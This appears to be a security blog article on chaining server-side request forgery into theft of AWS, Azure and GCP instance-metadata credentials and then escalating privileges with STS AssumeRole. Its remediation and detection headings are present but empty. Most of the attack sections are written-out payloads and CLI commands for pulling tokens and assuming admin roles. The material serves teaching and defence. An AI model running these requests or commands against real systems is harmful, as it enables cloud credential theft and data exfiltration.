SSRF → IMDSv2 → STS: the cloud privilege-escalation chain we still see weekly

// 01 The full chain at a glance

Every node in this chain is individually well-understood. What makes it dangerous is that each step is trivially automated and the compound impact - full data-plane access across an entire AWS account - can flow from a single unvalidated URL parameter in a feature that was never considered a security boundary.

// 02 SSRF entry points: where the chain starts

SSRF (Server-Side Request Forgery) occurs when a server-side component makes an outbound HTTP request to a URL that was directly or indirectly controlled by an attacker. The server is the agent - it makes the request from its own network position, which in a cloud environment includes the instance metadata service.

Common SSRF entry points in production applications

// 03 The IMDSv1 chain: four requests to credential theft

AWS's Instance Metadata Service at 169.254.169.254 provides EC2 instances with metadata about themselves - including the temporary IAM role credentials associated with the instance profile. IMDSv1 requires no authentication. Any process that can make an HTTP request from the instance can retrieve its credentials.

HTTP - IMDSv1 CHAIN## Step 1: Confirm SSRF to metadata service
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/" }

## Response reveals SSRF is working:
HTTP/1.1 200 OK
{ "response_body": "ami-id\nami-launch-index\nblock-device-mapping/\nhostname\niam/\n..." }

## Step 2: Enumerate IAM role name
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }

## Response:
{ "response_body": "ec2-app-production-role" }

## Step 3: Retrieve temporary credentials
POST /api/webhooks/test
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-app-production-role" }

## Response - live temporary IAM credentials:
{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA3EXAMPLE...",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/...",
  "Token": "AQoDYXdzEJr...",
  "Expiration": "2026-04-26T18:00:00Z"
}

// 04 IMDSv2: why it helps, why it's not enough

IMDSv2 was introduced in 2019 to mitigate SSRF-based metadata theft. It requires a two-step process: the caller must first obtain a session token via a PUT request with a custom header (X-aws-ec2-metadata-token-ttl-seconds), then use that token in subsequent requests. The PUT request requirement defeats most naive SSRF implementations because GET-only SSRFs (including XXE) cannot obtain the token.

HTTP - IMDSv2 TOKEN FLOW## Step 1: Obtain session token (requires PUT - defeats GET-only SSRF)
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

## Response: token string
AQAAANjNkMq...

## Step 2: Use token in subsequent requests
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: AQAAANjNkMq...

// 05 STS AssumeRole: from app-level IAM to account-level compromise

Retrieving the EC2 instance profile credentials is usually just the beginning. Most production roles have sts:AssumeRole permissions that allow the application to assume other roles - typically for cross-account access, CI/CD pipelines, or privileged data-plane operations. When those target roles have broader permissions than the instance profile, you have a privilege escalation path.

SHELL - AWS CLI WITH STOLEN CREDS# Configure temporary credentials from IMDS
export AWS_ACCESS_KEY_ID="ASIA3EXAMPLE..."
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI..."
export AWS_SESSION_TOKEN="AQoDYXdzEJr..."

# Step 1: Enumerate attached policies on the role
aws iam list-attached-role-policies \
  --role-name ec2-app-production-role

# Step 2: Check inline policies
aws iam list-role-policies --role-name ec2-app-production-role

# Step 3: Find assumable roles
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789:role/ec2-app-production-role \
  --action-names sts:AssumeRole \
  --resource-arns "*"

# Step 4: Assume higher-privilege role
aws sts assume-role \
  --role-arn arn:aws:iam::123456789:role/DataPlatformAdminRole \
  --role-session-name pen-test-escalation

# Now operating as DataPlatformAdminRole - list all S3 buckets
aws s3 ls

# Common high-impact capabilities found post-escalation:
# - s3:GetObject on data buckets → customer data exfiltration
# - ec2:Describe* → full infrastructure enumeration
# - secretsmanager:GetSecretValue → all application secrets
# - rds:* → database access

// 06 Azure IMDS and GCP metadata server: same chain, different endpoints

The SSRF-to-metadata attack is not AWS-specific. Both Azure and GCP expose instance metadata services with similar characteristics.

Azure Instance Metadata Service

HTTP - AZURE IMDS# Azure IMDS endpoint (no token required for identity endpoint)
GET http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata: true

# Retrieve managed identity token (equivalent to IAM role credentials)
GET http://169.254.169.254/metadata/identity/oauth2/token
  ?api-version=2018-02-01
  &resource=https://management.azure.com/
Metadata: true

# Response contains access_token for Azure Resource Manager API
# Use token to enumerate subscriptions, resource groups, Key Vault secrets

GCP Metadata Server

HTTP - GCP METADATA# GCP metadata server
GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google

# Returns OAuth2 access token for the attached service account
# Use to call Google Cloud APIs: Storage, BigQuery, Secrets Manager

# Enumerate all metadata
GET http://metadata.google.internal/computeMetadata/v1/?recursive=true
Metadata-Flavor: Google

// 07 Remediation: four controls that actually work

// 08 Detection: what good logging looks like

SSRF-to-IMDS attacks leave distinct traces if you're logging the right things. The following CloudTrail events should trigger immediate investigation in a mature cloud security programme: